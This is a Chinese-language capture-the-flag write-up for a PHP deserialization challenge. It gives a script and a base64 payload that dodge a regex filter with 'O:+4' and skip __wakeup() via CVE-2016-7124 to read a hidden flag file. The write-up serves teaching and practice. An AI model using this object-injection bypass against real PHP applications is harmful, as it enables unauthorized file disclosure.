题目直接显示网页源码
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
预备知识
- __destruct()
构造函数__construct(),它可以在对象被创建时自动调用。与之相对应的函数——析构函数__destruct()该函数会在类的一个对象被删除时自动调用。
- __wakeup()
__wakeup()在PHP中被称为魔术方法,在进行反序列化时,unserialize()会检查是否存在__wakeup(),若存在,该__wakeup()魔术方法会被先一步调用。
漏洞(CVE-2016-7124)使序列化字符串中表示对象属性个数的值大于真实的属性个数,以此跳过__wakeup 的执行,达到绕过的目的。
序列化字符串的标准格式:O:<类名的长度>:“<类名>”:<成员属性的个数>:{S:…
- GET方法进行传参
GET传参:用户输入的内容参数会被传到地址栏(URL栏),是通过GET的方式进行传参。
特点:传参内容可见,传参长度有限,标识“?”,输入的内容会可能被url编码
- base64加密解密
这个没啥说的,直接搜在线工具或者调用函数就可以解决。
- preg_match()函数进行正则匹配
preg_match 函数用于执行一个正则表达式匹配。
- 正则表达式
正则表达式的内容我参考了这篇文章,感觉写的比较详细:正则表达式
- unserialize()函数
序列化:把对象转化为可传输的字节序列过程称为序列化。
反序列化:把字节序列还原为对象的过程称为反序列化。
unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。
用到wakeup函数绕过的另一道例题
解题思路
根据代码中的提示,我们可以知道flag就在fl4g.php中。
//the secret is in the fl4g.php
代码大致逻辑:

我们的目标是让脚本执行代码:
@unserialize($var);
payload构造
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$var = new Demo('fl4g.php'); //创建对象
$serialized_var = serialize($var); //序列化var
echo $serialized_var;
echo "\n";
$a = str_replace(':4:',':+4:',$serialized_var);//绕过正则匹配
echo $a ;
echo "\n";
$b = str_replace(':1:',':2:',$a); //绕过__wakeup()
echo $b ;
echo "\n";
$c = base64_encode($b); //base64加密
echo $c ;
?>
运行结果:
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
得到flag


$flag=“ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}”;
记录笔者解题思路,仅供参考,可能有小漏洞。。。 😃
本文介绍了一个PHP序列化漏洞的利用方法,通过构造特定的序列化字符串来绕过__wakeup()函数,最终获取隐藏的flag。

692

被折叠的 条评论
为什么被折叠?



